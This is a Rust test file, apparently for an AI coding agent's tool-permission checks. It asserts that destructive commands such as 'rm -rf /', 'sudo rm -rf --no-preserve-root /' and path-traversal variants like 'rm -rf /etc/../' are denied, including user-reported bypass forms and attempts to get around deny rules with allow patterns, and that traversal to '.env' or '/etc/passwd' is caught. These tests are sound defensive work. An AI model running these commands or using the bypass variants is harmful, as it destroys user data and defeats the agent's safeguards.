fn hardcoded_blocks_rm_with_flag_equals_value() {
|
|
// --flag=value syntax should not bypass the rules
|
|
t("rm --no-preserve-root=yes -rf /").is_deny();
|
|
t("rm --no-preserve-root=yes --recursive --force /").is_deny();
|
|
t("rm -rf --no-preserve-root=yes /").is_deny();
|
|
t("rm --interactive=never -rf /").is_deny();
|
|
t("rm --no-preserve-root=yes -rf ~").is_deny();
|
|
t("rm --no-preserve-root=yes -rf .").is_deny();
|
|
t("rm --no-preserve-root=yes -rf ..").is_deny();
|
|
t("rm --no-preserve-root=yes -rf $HOME").is_deny();
|
|
// --flag (without =value) should also not bypass the rules
|
|
t("rm -rf --no-preserve-root /").is_deny();
|
|
t("rm --no-preserve-root -rf /").is_deny();
|
|
t("rm --no-preserve-root --recursive --force /").is_deny();
|
|
t("rm -rf --no-preserve-root ~").is_deny();
|
|
t("rm -rf --no-preserve-root .").is_deny();
|
|
t("rm -rf --no-preserve-root ..").is_deny();
|
|
t("rm -rf --no-preserve-root $HOME").is_deny();
|
|
// Trailing --flag=value after path
|
|
t("rm / --no-preserve-root=yes -rf").is_deny();
|
|
t("rm ~ -rf --no-preserve-root=yes").is_deny();
|
|
// Trailing --flag (without =value) after path
|
|
t("rm / -rf --no-preserve-root").is_deny();
|
|
t("rm ~ -rf --no-preserve-root").is_deny();
|
|
// Safe paths with --flag=value should NOT be blocked
|
|
t("rm --no-preserve-root=yes -rf ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm --interactive=never -rf /tmp/test")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
// Safe paths with --flag (without =value) should NOT be blocked
|
|
t("rm --no-preserve-root -rf ./build")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_with_path_traversal() {
|
|
// Traversal to root via ..
|
|
t("rm -rf /etc/../").is_deny();
|
|
t("rm -rf /tmp/../../").is_deny();
|
|
t("rm -rf /tmp/../..").is_deny();
|
|
t("rm -rf /var/log/../../").is_deny();
|
|
// Root via /./
|
|
t("rm -rf /./").is_deny();
|
|
t("rm -rf /.").is_deny();
|
|
// Double slash (equivalent to /)
|
|
t("rm -rf //").is_deny();
|
|
// Home traversal via ~/./
|
|
t("rm -rf ~/./").is_deny();
|
|
t("rm -rf ~/.").is_deny();
|
|
// Dot traversal via indirect paths
|
|
t("rm -rf ./foo/..").is_deny();
|
|
t("rm -rf ../foo/..").is_deny();
|
|
// Traversal in chained commands
|
|
t("ls && rm -rf /tmp/../../").is_deny();
|
|
t("echo hello; rm -rf /./").is_deny();
|
|
// Traversal cannot be bypassed by global or allow patterns
|
|
t("rm -rf /tmp/../../")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf /./").allow(&[".*"]).is_deny();
|
|
// Safe paths with traversal should still be allowed
|
|
t("rm -rf /tmp/../tmp/foo")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf ~/Documents/./subdir")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
|
|
t("rm -rf /tmp /").is_deny();
|
|
t("rm -rf /tmp/foo /").is_deny();
|
|
t("rm -rf /var/log ~").is_deny();
|
|
t("rm -rf /safe $HOME").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
|
|
t("rm -rf / /tmp").is_deny();
|
|
t("rm -rf ~ /var/log").is_deny();
|
|
t("rm -rf . /tmp/foo").is_deny();
|
|
t("rm -rf .. /safe").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_allows_rm_multi_path_all_safe() {
|
|
t("rm -rf /tmp /home/user")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf ./build ./dist")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
t("rm -rf /var/log/app /tmp/cache")
|
|
.mode(ToolPermissionMode::Allow)
|
|
.is_allow();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_rm_multi_path_with_traversal() {
|
|
t("rm -rf /safe /tmp/../../").is_deny();
|
|
t("rm -rf /tmp/../../ /safe").is_deny();
|
|
t("rm -rf /safe /var/log/../../").is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn hardcoded_blocks_user_reported_bypass_variants() {
|
|
// User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
|
|
t("rm -rf /etc/../").is_deny();
|
|
t("rm -rf /etc/..").is_deny();
|
|
// User report: --no-preserve-root (without =value) should not bypass
|
|
t("rm -rf --no-preserve-root /").is_deny();
|
|
t("rm --no-preserve-root -rf /").is_deny();
|
|
// User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
|
|
t("rm -rf /*").is_deny();
|
|
// Chained with sudo
|
|
t("sudo rm -rf /").is_deny();
|
|
t("sudo rm -rf --no-preserve-root /").is_deny();
|
|
// Traversal cannot be bypassed even with global allow or allow patterns
|
|
t("rm -rf /etc/../")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf /etc/../").allow(&[".*"]).is_deny();
|
|
t("rm -rf --no-preserve-root /")
|
|
.global_default(ToolPermissionMode::Allow)
|
|
.is_deny();
|
|
t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_no_change() {
|
|
assert_eq!(normalize_path("foo/bar"), "foo/bar");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_with_curdir() {
|
|
assert_eq!(normalize_path("foo/./bar"), "foo/bar");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_with_parent() {
|
|
assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_absolute_preserved() {
|
|
assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_absolute_with_traversal() {
|
|
assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_root() {
|
|
assert_eq!(normalize_path("/"), "/");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_parent_beyond_root_clamped() {
|
|
assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_curdir_only() {
|
|
assert_eq!(normalize_path("."), "");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_empty() {
|
|
assert_eq!(normalize_path(""), "");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_traversal_above_start() {
|
|
assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_traversal_with_curdir() {
|
|
assert_eq!(normalize_path("../../."), "../..");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_relative_partial_traversal_above_start() {
|
|
assert_eq!(normalize_path("foo/../../bar"), "../bar");
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_deny_vs_allow() {
|
|
assert!(matches!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Deny("x".into()),
|
|
ToolPermissionDecision::Allow
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_allow_vs_deny() {
|
|
assert!(matches!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Allow,
|
|
ToolPermissionDecision::Deny("x".into())
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_deny_vs_confirm() {
|
|
assert!(matches!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Deny("x".into()),
|
|
ToolPermissionDecision::Confirm
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_confirm_vs_deny() {
|
|
assert!(matches!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Confirm,
|
|
ToolPermissionDecision::Deny("x".into())
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_deny_vs_deny() {
|
|
assert!(matches!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Deny("a".into()),
|
|
ToolPermissionDecision::Deny("b".into())
|
|
),
|
|
ToolPermissionDecision::Deny(_)
|
|
));
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_confirm_vs_allow() {
|
|
assert_eq!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Confirm,
|
|
ToolPermissionDecision::Allow
|
|
),
|
|
ToolPermissionDecision::Confirm
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_allow_vs_confirm() {
|
|
assert_eq!(
|
|
most_restrictive(
|
|
ToolPermissionDecision::Allow,
|
|
ToolPermissionDecision::Confirm
|
|
),
|
|
ToolPermissionDecision::Confirm
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn most_restrictive_allow_vs_allow() {
|
|
assert_eq!(
|
|
most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
|
|
ToolPermissionDecision::Allow
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_no_dots_early_return() {
|
|
// When the path has no `.` or `..`, normalize_path returns the same string,
|
|
// so decide_permission_for_path returns the raw decision directly.
|
|
let settings = test_agent_settings(ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools: Default::default(),
|
|
});
|
|
let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
|
|
assert_eq!(decision, ToolPermissionDecision::Confirm);
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_traversal_triggers_deny() {
|
|
let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(EditFileTool::NAME),
|
|
ToolRules {
|
|
default: Some(ToolPermissionMode::Allow),
|
|
always_allow: vec![],
|
|
always_deny: vec![deny_regex],
|
|
always_confirm: vec![],
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
let settings = test_agent_settings(ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
});
|
|
|
|
let decision =
|
|
decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
|
|
assert!(
|
|
matches!(decision, ToolPermissionDecision::Deny(_)),
|
|
"expected Deny for traversal to /etc/passwd, got {:?}",
|
|
decision
|
|
);
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_collapses_dot_segments() {
|
|
assert_eq!(
|
|
normalize_path("src/../.zed/settings.json"),
|
|
".zed/settings.json"
|
|
);
|
|
assert_eq!(normalize_path("a/b/../c"), "a/c");
|
|
assert_eq!(normalize_path("a/./b/c"), "a/b/c");
|
|
assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
|
|
assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
|
|
assert_eq!(normalize_path("a/b/c"), "a/b/c");
|
|
}
|
|
|
|
#[test]
|
|
fn normalize_path_handles_multiple_parent_dirs() {
|
|
assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
|
|
assert_eq!(normalize_path("a/b/c/../../../d"), "d");
|
|
}
|
|
|
|
fn path_perm(
|
|
tool: &str,
|
|
input: &str,
|
|
deny: &[&str],
|
|
allow: &[&str],
|
|
confirm: &[&str],
|
|
) -> ToolPermissionDecision {
|
|
let mut tools = collections::HashMap::default();
|
|
tools.insert(
|
|
Arc::from(tool),
|
|
ToolRules {
|
|
default: None,
|
|
always_allow: allow
|
|
.iter()
|
|
.map(|p| {
|
|
CompiledRegex::new(p, false)
|
|
.unwrap_or_else(|| panic!("invalid regex: {p:?}"))
|
|
})
|
|
.collect(),
|
|
always_deny: deny
|
|
.iter()
|
|
.map(|p| {
|
|
CompiledRegex::new(p, false)
|
|
.unwrap_or_else(|| panic!("invalid regex: {p:?}"))
|
|
})
|
|
.collect(),
|
|
always_confirm: confirm
|
|
.iter()
|
|
.map(|p| {
|
|
CompiledRegex::new(p, false)
|
|
.unwrap_or_else(|| panic!("invalid regex: {p:?}"))
|
|
})
|
|
.collect(),
|
|
invalid_patterns: vec![],
|
|
},
|
|
);
|
|
let permissions = ToolPermissions {
|
|
default: ToolPermissionMode::Confirm,
|
|
tools,
|
|
};
|
|
let raw_decision = ToolPermissionDecision::from_input(
|
|
tool,
|
|
&[input.to_string()],
|
|
&permissions,
|
|
ShellKind::Posix,
|
|
);
|
|
|
|
let simplified = normalize_path(input);
|
|
if simplified == input {
|
|
return raw_decision;
|
|
}
|
|
|
|
let simplified_decision =
|
|
ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
|
|
|
|
most_restrictive(raw_decision, simplified_decision)
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_denies_traversal_to_denied_dir() {
|
|
let decision = path_perm(
|
|
"copy_path",
|
|
"src/../.zed/settings.json",
|
|
&["^\\.zed/"],
|
|
&[],
|
|
&[],
|
|
);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
|
|
let decision = path_perm(
|
|
"copy_path",
|
|
"src/../.zed/settings.json",
|
|
&[],
|
|
&[],
|
|
&["^\\.zed/"],
|
|
);
|
|
assert!(matches!(decision, ToolPermissionDecision::Confirm));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_allows_when_no_traversal_issue() {
|
|
let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
|
|
assert!(matches!(decision, ToolPermissionDecision::Allow));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_most_restrictive_wins() {
|
|
let decision = path_perm(
|
|
"copy_path",
|
|
"allowed/../.zed/settings.json",
|
|
&["^\\.zed/"],
|
|
&["^allowed/"],
|
|
&[],
|
|
);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_dot_segment_only() {
|
|
let decision = path_perm(
|
|
"delete_path",
|
|
"./.zed/settings.json",
|
|
&["^\\.zed/"],
|
|
&[],
|
|
&[],
|
|
);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_no_change_when_already_simple() {
|
|
// When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
|
|
let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_raw_deny_still_works() {
|
|
// Even without traversal, if the raw path itself matches deny, it's denied
|
|
let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
|
|
#[test]
|
|
fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
|
|
let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
|
|
assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
|
|
}
|
|
}
|